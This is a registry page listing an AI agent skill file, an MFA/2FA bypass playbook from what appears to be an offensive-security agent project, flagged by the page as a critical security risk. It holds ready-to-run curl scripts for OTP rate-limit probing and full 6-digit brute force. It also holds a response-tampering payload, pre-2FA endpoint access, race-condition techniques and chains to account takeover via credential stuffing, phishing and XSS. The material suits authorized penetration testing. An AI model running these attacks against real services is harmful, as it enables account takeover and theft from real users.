CtrlK
BlogDocsLog inGet started
Tessl Logo

mfa-bypass

2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.

63

Quality

75%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md
SKILL.md
Quality
Evals
Security

MFA / 2FA Bypass Playbook

Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.

1. Detection — map the 2FA surface

Enumerate every flow that should require a second factor:

# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
         /account/email /account/password /password/reset /password/reset/confirm \
         /oauth/authorize /api/session /api/session/elevate /backup-codes; do
  curl -s -o /dev/null -w "%{http_code}  $p\n" "https://<TARGET>$p"
done

# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
  -H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
  -d '{"code":"000000"}'

# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
  printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open

2. Flaw matrix

ClassSymptomBypass
Response manipulationserver returns {"success":false} but client trusts itintercept → flip to true
Status-code tamper401 vs 200 only checked client-siderewrite 401 → 200 in proxy
Flag tampermfa_required=true in JWT/JSONedit to false, resign / unsigned alg
No rate limitunlimited wrong OTPs6-digit OTP = 10⁶ — brute over hours
Per-IP limit onlylimit on attacker IP, not on userrotate IPs / X-Forwarded-For
OTP reusesame code valid after usereplay last code in a new session
OTP no expirycode from yesterday still worksmine old SMS / email
Predictable OTPseeded by userid/timestampprecompute
Backup-code abuseunlimited tries, codes never expire / not invalidatedbrute backup codes endpoint
Race conditiontwo requests in flight — both succeedparallel POSTs (HTTP/2 single-packet attack)
Missing 2FA on flow/login enforces, /api/login does notuse alternate endpoint
Missing 2FA on password changepassword change re-enables full sessionreset → skip 2FA
Password reset skips 2FAreset token logs you in without 2FAabuse reset link
OAuth / SSO skips 2FAsocial login returns a fully-authed sessionlogin via Google instead
Remember-me cookiepersistent cookie skips 2FA foreversteal remember-me via XSS / log leak
Direct object access/api/account works on half-authed sessioncall protected APIs pre-2FA
Enrollment raceattacker enrolls own TOTP for victim before victim doeshit /2fa/enroll first post-login
Recovery channel takeoverSMS → SIM swap, email → email ATOdownstream factor compromise

3. Exploit PoC

3.1 Brute-force a 6-digit OTP (no rate limit)

COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
  CODE=$(printf '%06d' $i)
  CODE_LEN=${#CODE}
  RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
  [ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
  (( i % 1000 == 0 )) && echo "tried $i ..."
done

3.2 Response-flip bypass

# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}

Rewrite at the proxy:

HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}

If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.

3.3 Direct post-2FA endpoint access

# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.

3.4 Race condition (HTTP/2 single-packet)

# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.

4. Chains

  • MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
  • Password reset skips 2FA → ATO: phish/reset email → straight in.
  • Remember-me theft via XSS → permanent 2FA bypass even after password change.
  • Enrollment race → persistent ATO: attacker becomes the legitimate 2FA owner.

5. Tools

  • Burp Suite + Turbo Intruder (race conditions, single-packet attack)
  • Burp Match-and-Replace rules for response-flip
  • ffuf / hydra http-post-form for OTP brute when no JS guard
  • mitmproxy scripts for live JSON tamper

6. Detection signatures & OPSEC

IndicatorDetection methodOPSEC note
Hundreds of /2fa/verify POSTs per sessionApp-level rate metricUse a dedicated attacker test account; do not brute live victims without scope
Same OTP value tried across usersSIEM correlationVary code per user when testing reuse
Concurrent requests on same state tokenApp anomalyRace PoC only on isolated test users
Remember-me cookie from new geoRisk engineValidate with consent before extraction tests

Decision Gate: MFA bypass confirmed → exploitation

  • A path produces a fully-authed session without presenting the second factor
  • Bypass is repeatable, not a transient race artifact
  • Bypass requires only data an attacker can plausibly obtain (creds / phish / XSS / public flow)
  • PoC reads/writes a 2FA-gated resource (account settings, transfer, admin) If all checked, escalate per finding-protocol as Critical (ATO).
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.